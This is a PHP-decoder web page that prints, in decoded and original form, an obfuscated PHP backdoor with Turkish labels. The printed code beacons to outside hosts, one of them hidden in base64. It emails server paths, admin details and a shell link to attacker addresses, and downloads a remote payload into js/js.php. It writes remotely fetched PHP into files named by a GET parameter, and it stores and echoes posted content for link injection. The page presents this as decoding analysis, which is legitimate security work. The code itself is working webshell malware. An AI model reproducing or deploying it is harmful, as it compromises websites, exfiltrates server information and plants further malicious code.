Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? goto aGKka; oK64q: $header = "From: {$from_shellcode}\xd\xaReply-to: {$from_shellcode..
Decoded Output download
<? goto aGKka; oK64q: $header = "From: {$from_shellcode}\xd\xaReply-to: {$from_shellcode}"; goto l7BgM; xVP9P: $ip_remote = $_SERVER["REMOTE_ADDR"]; goto Xedxa; uYPOm: echo "<!DOCTYPE html!>"; goto VO0pu; QuTMX: error_reporting(0); goto E2AFM; W9nLU: $EL_MuHaMMeD .= "Server isletim sistemi : " . $_SERVER["SERVER_SOFTWARE"] . "\xd
"; goto i1FtU; GExlx: $x = $s . "l-" . base64_encode($host); goto eRvrn; budEA: $EL_MuHaMMeD .= "Avlanan Site : " . $_SERVER["HTTP_HOST"] . "
"; goto a6yXf; juFC6: $EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER["DOCUMENT_ROOT"] . "
\xa"; goto gM1Yf; vvKFK: $time_shell = '' . date("d/m/Y - H:i:s") . ''; goto xVP9P; k50Wf: $linkcr = "Link: " . $_SERVER["SERVER_NAME"] . '' . $_SERVER["REQUEST_URI"] . " - IP Excuting: {$ip_remote} - Time: {$time_shell}"; goto oK64q; gM1Yf: $EL_MuHaMMeD .= "Server Admin : " . $_SERVER["SERVER_ADMIN"] . "
\xa"; goto W9nLU; Xedxa: $from_shellcode = "lamer@" . gethostbyname($_SERVER["SERVER_NAME"]) . ''; goto XVjal; bum7s: $datasi = @fopen("js/js.php", "r"); goto bXnY2; l7BgM: @mail($to_email, $server_mail, $linkcr, $header); goto xFeS9; i1FtU: $EL_MuHaMMeD .= "Shell Link : http://" . $_SERVER["SERVER_NAME"] . $_SERVER["PHP_SELF"] . "\xd\xa"; goto budEA; Vc4k8: if (isset($_GET["ksfg"])) { $f = fopen($_GET["ksfg"] . ".php", "a"); fwrite($f, file_get_contents($s . "s-" . $_GET["ksfg"])); fclose($f); } goto uYPOm; s8hdQ: $server_mail = '' . gethostbyname($_SERVER["SERVER_NAME"]) . " - " . $_SERVER["HTTP_HOST"] . ''; goto k50Wf; xFeS9: $kime = "[email protected]"; goto R97MJ; E2AFM: $s = "https://acbdf.space/"; goto DwuIw; DwuIw: $host = str_replace("www.", '', @$_SERVER["HTTP_HOST"]); goto GExlx; bXnY2: if ($datasi) { } else { @mkdir("js"); $dos = file_get_contents("https://acbdf.space/txt/lamer.txt"); $data = "js/js.php"; @touch("js/js.php"); $ver = @fopen($data, "w"); @fwrite($ver, $dos); @fclose($ver); $yol = "http://" . $_SERVER["HTTP_HOST"] . '' . $_SERVER["REQUEST_URI"] . ''; $y = "<h1>Sender Yazdirildi.<br/> SITE YOL : " . $yol . "<br/>Sender Yolu : js/crs.php</h1>"; $header .= "From: SheLL Boot <[email protected]>
"; $header .= "Content-Type: text/html;\xa charset=utf-8\xa"; @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); } goto vvKFK; eRvrn: if (function_exists("curl_init")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("file_get_contents")) { @($gitt = file_get_contents($x)); } goto bSMSI; a6yXf: mail($kime, $baslik, $EL_MuHaMMeD); goto UNxRd; aGKka: function GetIP() { if (getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif (getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ",")) { $tmp = explode(",", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } goto Jv7yz; R97MJ: $baslik = "min 20203"; goto juFC6; VO0pu: if ($_POST["query"]) { $veriyfy = stripslashes(stripslashes($_POST["query"])); $data = "data.txt"; @touch("data.txt"); $ver = @fopen($data, "w"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("data.txt", "r"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto bum7s; bSMSI: echo $gitt; goto Vc4k8; ri1dL: if (function_exists("curl_init")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("file_get_contents")) { @($gitt = file_get_contents($x)); } goto QuTMX; Jv7yz: $x = base64_decode("aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==") . GetIP() . "-" . base64_encode("http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto ri1dL; XVjal: $to_email = "[email protected]"; goto s8hdQ; UNxRd:
?>Did this file decode correctly?
Original Code
<? goto aGKka; oK64q: $header = "From: {$from_shellcode}\xd\xaReply-to: {$from_shellcode}"; goto l7BgM; xVP9P: $ip_remote = $_SERVER["REMOTE_ADDR"]; goto Xedxa; uYPOm: echo "<!DOCTYPE html!>"; goto VO0pu; QuTMX: error_reporting(0); goto E2AFM; W9nLU: $EL_MuHaMMeD .= "Server isletim sistemi : " . $_SERVER["SERVER_SOFTWARE"] . "\xd
"; goto i1FtU; GExlx: $x = $s . "l-" . base64_encode($host); goto eRvrn; budEA: $EL_MuHaMMeD .= "Avlanan Site : " . $_SERVER["HTTP_HOST"] . "
"; goto a6yXf; juFC6: $EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER["DOCUMENT_ROOT"] . "
\xa"; goto gM1Yf; vvKFK: $time_shell = '' . date("d/m/Y - H:i:s") . ''; goto xVP9P; k50Wf: $linkcr = "Link: " . $_SERVER["SERVER_NAME"] . '' . $_SERVER["REQUEST_URI"] . " - IP Excuting: {$ip_remote} - Time: {$time_shell}"; goto oK64q; gM1Yf: $EL_MuHaMMeD .= "Server Admin : " . $_SERVER["SERVER_ADMIN"] . "
\xa"; goto W9nLU; Xedxa: $from_shellcode = "lamer@" . gethostbyname($_SERVER["SERVER_NAME"]) . ''; goto XVjal; bum7s: $datasi = @fopen("js/js.php", "r"); goto bXnY2; l7BgM: @mail($to_email, $server_mail, $linkcr, $header); goto xFeS9; i1FtU: $EL_MuHaMMeD .= "Shell Link : http://" . $_SERVER["SERVER_NAME"] . $_SERVER["PHP_SELF"] . "\xd\xa"; goto budEA; Vc4k8: if (isset($_GET["ksfg"])) { $f = fopen($_GET["ksfg"] . ".php", "a"); fwrite($f, file_get_contents($s . "s-" . $_GET["ksfg"])); fclose($f); } goto uYPOm; s8hdQ: $server_mail = '' . gethostbyname($_SERVER["SERVER_NAME"]) . " - " . $_SERVER["HTTP_HOST"] . ''; goto k50Wf; xFeS9: $kime = "[email protected]"; goto R97MJ; E2AFM: $s = "https://acbdf.space/"; goto DwuIw; DwuIw: $host = str_replace("www.", '', @$_SERVER["HTTP_HOST"]); goto GExlx; bXnY2: if ($datasi) { } else { @mkdir("js"); $dos = file_get_contents("https://acbdf.space/txt/lamer.txt"); $data = "js/js.php"; @touch("js/js.php"); $ver = @fopen($data, "w"); @fwrite($ver, $dos); @fclose($ver); $yol = "http://" . $_SERVER["HTTP_HOST"] . '' . $_SERVER["REQUEST_URI"] . ''; $y = "<h1>Sender Yazdirildi.<br/> SITE YOL : " . $yol . "<br/>Sender Yolu : js/crs.php</h1>"; $header .= "From: SheLL Boot <[email protected]>
"; $header .= "Content-Type: text/html;\xa charset=utf-8\xa"; @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); } goto vvKFK; eRvrn: if (function_exists("curl_init")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("file_get_contents")) { @($gitt = file_get_contents($x)); } goto bSMSI; a6yXf: mail($kime, $baslik, $EL_MuHaMMeD); goto UNxRd; aGKka: function GetIP() { if (getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif (getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ",")) { $tmp = explode(",", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } goto Jv7yz; R97MJ: $baslik = "min 20203"; goto juFC6; VO0pu: if ($_POST["query"]) { $veriyfy = stripslashes(stripslashes($_POST["query"])); $data = "data.txt"; @touch("data.txt"); $ver = @fopen($data, "w"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("data.txt", "r"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto bum7s; bSMSI: echo $gitt; goto Vc4k8; ri1dL: if (function_exists("curl_init")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("file_get_contents")) { @($gitt = file_get_contents($x)); } goto QuTMX; Jv7yz: $x = base64_decode("aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==") . GetIP() . "-" . base64_encode("http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto ri1dL; XVjal: $to_email = "[email protected]"; goto s8hdQ; UNxRd:
?>Function Calls
| None |
Stats
| MD5 | d95c66ef0d9ed7a7072e608bbbaeecc0 |
| Eval Count | 0 |
| Decode Time | 57 ms |